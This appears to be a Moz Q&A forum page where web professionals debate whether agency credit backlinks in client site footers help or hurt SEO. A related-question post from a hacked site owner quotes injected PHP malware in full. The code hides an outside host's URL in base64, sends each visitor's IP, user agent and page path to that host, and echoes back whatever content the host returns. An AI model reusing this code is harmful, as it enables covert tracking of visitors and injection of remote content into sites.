Is it negative to put a backlink into the footer's website of our clients ?
-
Hello there !
Everything is in the subject of this post but here is the context : we are a web agency and we, among others, build websites for our clients (most of them are shops). Until now, we put a link in their footer, like "developped by MyWebShop".
But we don't know if it is bad or not. With only one website we can have like hundred of backlinks at once, but is it good for SEO or not ? Will Google penalize us thinking that is blackhat practices ? Is it better to put our link in the "legal notices" or "disclaimer" part of the websites ?
What is the best practice for a lasting SEO ?
I hope you understand my question,
Thnak you in advance !
-
I asked a similar question to this here http://www.seomoz.org/q/site-wide-footer-links-or-single-website-credits-page and it has possibly useful answers. I'd be interested to hear your views on whether to: A) create site-wide footer links on all pages of my client sites (varying anchor) B) just create a "Website Credits" page and include this inthe sitemap C) create site wide footer links to the website credits page, and link from this back to my site I look forward to hearing your views...
-
I'm actually not sure I agree. From a theoretical, PageRank-passing perspective, sitewide links are better. From a penalty/risk perspective, 1000s of sitewide links can lead to a ton of links coming from very few unique domains, which can start to look suspicious. I actually think you might see less devaluation by limiting the footer links to a couple of strong pages on each client site.
-
Practically, I think Julie is right, but I have seen heavy devaluation of these footer links in the past year or two. They'll still count for something, but not a lot. The only warning I'd add is that I wouldn't create a situation where these are your ONLY links. You could risk looking like a link farm and even a potential penalty at that point. These easy links should be only one part of your link-building strategy.
I'd also highly encourage diversity. Mix up the anchor text, as long as it's relevant, and maybe even put the link different places. If you can get contextual links somehow (not footers or sidebars), that's a huge plus. The more you can mix it up, the better.
-
From a pure SEO perspective, it's better to have the link in the footer appearing on each page.
-
Speaking personally I'm not in favor of it but more from an appearance perspective. I've seen a lot of cases where this is abused by smaller operations who aren't taking their customer's overall outbound link profiles into account. We've inherited projects where the previous designer put about 100 words into the META author tag spamming his keywords, and then in addition put at least a paragraph of ALT text on his footer link. The client didn't even know it was there, or what it necessarily meant.
I also think it detracts from the appearance/professionalism of larger clients sites. I think personally I'm moving towards either very subtle and small center-footer links, with the full knowledge of the client, or a paragraph and link on the About US/Partners page. Note this is my opinion on what we're doing and not meant as an indictment of anyone else's practices.
-
Thanks for your "enlightenment"
I wonder if it wouldn't be better (on the pure seo perspective) to only put a link on the credit page for exemple ?
-
This is standard practice of almost all web design agencies. Giant blog platforms like Wordpress and Blogger also put in a credit link by default. The presence of a credit link like you described the footer will not hurt you in any way.
There is some debate about whether or not it will help you at all (I think it will -- footer links are greatly discounted, but still seem to count for something) but it won't hurt, and it makes sense from a branding/advertising perspective.
-
I know with Panda 3.3 update this past week, there has been some change to the way Google interprets back links. So, I'll be curious what the opinions of other people would be. Personally, I wouldn't put a link in the footer of client sites........just my opinion.....
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
Forcing Google to Crawl a Backlink URL
I was surprised that I couldn't find much info on this topic, considering that Googlebot must crawl a backlink url in order to process a disavow request (ie Penguin recovery and reconsideration requests). My trouble is that we recently received a great backlink from a buried page on a .gov domain and the page has yet to be crawled after 4 months. What is the best way to nudge Googlebot into crawling the url and discovering our link?
White Hat / Black Hat SEO | | Choice0 -
I have plenty of backlinks but the site does not seem to come up on Google`s first page.
My site has been jumping up and down for many months now. but it never stays on Google first page. I have plenty of back-links, shared content on social media. But what could i be doing wrong? any help will be appreciated. Content is legit. I have recently added some internal links is this might be the cause? Please help .
White Hat / Black Hat SEO | | samafaq0 -
Advanced Outside Perspective Requested to Combat Negative SEO
**Situation: **We are a digital marketing agency that has been doing SEO for 6 years. For many years, we maintained exceptional rankings and online visibility.However, I suppose with great rankings comes great vulnerability. Last year, we became the target of a pretty aggressive and malicious negative SEO campaign from another other SEO(s) in our industry - I'm assuming they're competitors. Overnight, there were 10,000+ links built on various spam domains using the anchor text: negative marketing services poor seo butt crack kickass ... and more (see attached image) The issue we face are: Time Investment - Enormous investment of time and energy to contact each web admin for link removal. Hard to Keep Up - When we think we're getting somewhere, new links come out of the woodwork. Disavow Doesn't Work - Though we've tried to generally avoid the disavow tool, we've had to use it for a few domains. However, it's difficult to say how much effect, if any, it's had on the negative links. As you can imagine, we've seen an enormous drop in organic traffic since this all started. It's unfortunate that SEO has come to this point, but I still see a lot of value in what we do and hope that spammers don't completely ruin it for us one day. Moz Community - I come to you seeking some new insight, advice, similar experiences or anything else that may help! Are there any other agencies that have experienced the same issue? Any new ways to combat really aggressive negative SEO link building? Thanks everyone! UUPPplJ
White Hat / Black Hat SEO | | ByteLaunch0 -
Website has been hacked will this hurt ranking
Today we found out that a website of as has been hacked and that they put this code in multiple index.php files: if (!isset($sRetry))
White Hat / Black Hat SEO | | GTGshops
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 8);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?> After some search I found other people mentioning this problem too.They were also talking about that this could have impact on your search rankings. My first question : Will this hurt my rankings ? Second question: Is there something I can do to tell the search engines about the hack so that we don't lose ranking on this. Grtz, Ard0 -
Rankings dropped, should I start a new website?
Hello, my rankings dropped last year (penguin update) - I think it was April 2012 and the website went from 300 visitors per day to 10 per day. This probably happened because I bought links, but I also did a lot of manual and natural SEO (at that time). After the drop, I didn't know what to do... so I did some manual SEO, blog comments, forum posts, article publications (lets say 60 links in total - with diverse anchor texts - brand keywords, etc) and then I paused working on the site to see if there will be any changes... and 1 year latter, there are still no changes. My site used to be in the top results of the first page and now it is totally out of Google. http://getmoreyoutubeviews.com Should I move on and start a new website or do something to fix this one? Thanks Alex
White Hat / Black Hat SEO | | buysocialexposure0 -
Is Meta Keywords Important For Websites?
Hi, I understand that meta title and descriptions are very important for websites. I would like to know if meta keywords are important? I have seen people talking about meta keywords are useless and it should be removed from the website to prevent competitors from knowing your keywords. Anyone has anything to share? 🙂
White Hat / Black Hat SEO | | chanel270 -
Do shady backlinks actually damage ranking?
That is, it looks like a whole bunch of sites got smacked around the penguin/panda updates, but is this by virtue of actually being hurt by google's algorithms, or by virtue of simply not being helped "as much"? That is, was it a matter of the sites just not having any 'quality' backlinks, having relied on things google no longer liked, which would result in not having as much to push them to the top? That is, they would have been in the same position had they not had those shoddy practices? Or was google actively punishing those sites? That is, are they worse off for having those shoddy practices? I guess the reason I ask is I'm somewhat terrified of going "out there" to get backlinks -- worst case scenario: would it just not do much to help, or would it actually hurt? Thanks!
White Hat / Black Hat SEO | | yoni450 -
What's been your experience with profile link-building?
What have your experiences been? Short Term? Long Term? There isn't a lot written about it, and I'm wondering where it falls in the order of things. I was very hesitant to jump in, but have launched a few campaigns, both for local geo targeting phrases, and national accounts. Surprisingly, I've seen a surge in rankings, but also wonder how short lived they will be. I've noticed the links still don't come up in tools like open site explorer, but I'm able to find them when searching for the unique username I used while building the profiles. The sites I'm listing on have no relevance to industry, unless by chance, although the PR's I'm using are all 4 or higher. Is this considered gray hat?
White Hat / Black Hat SEO | | skycriesmary720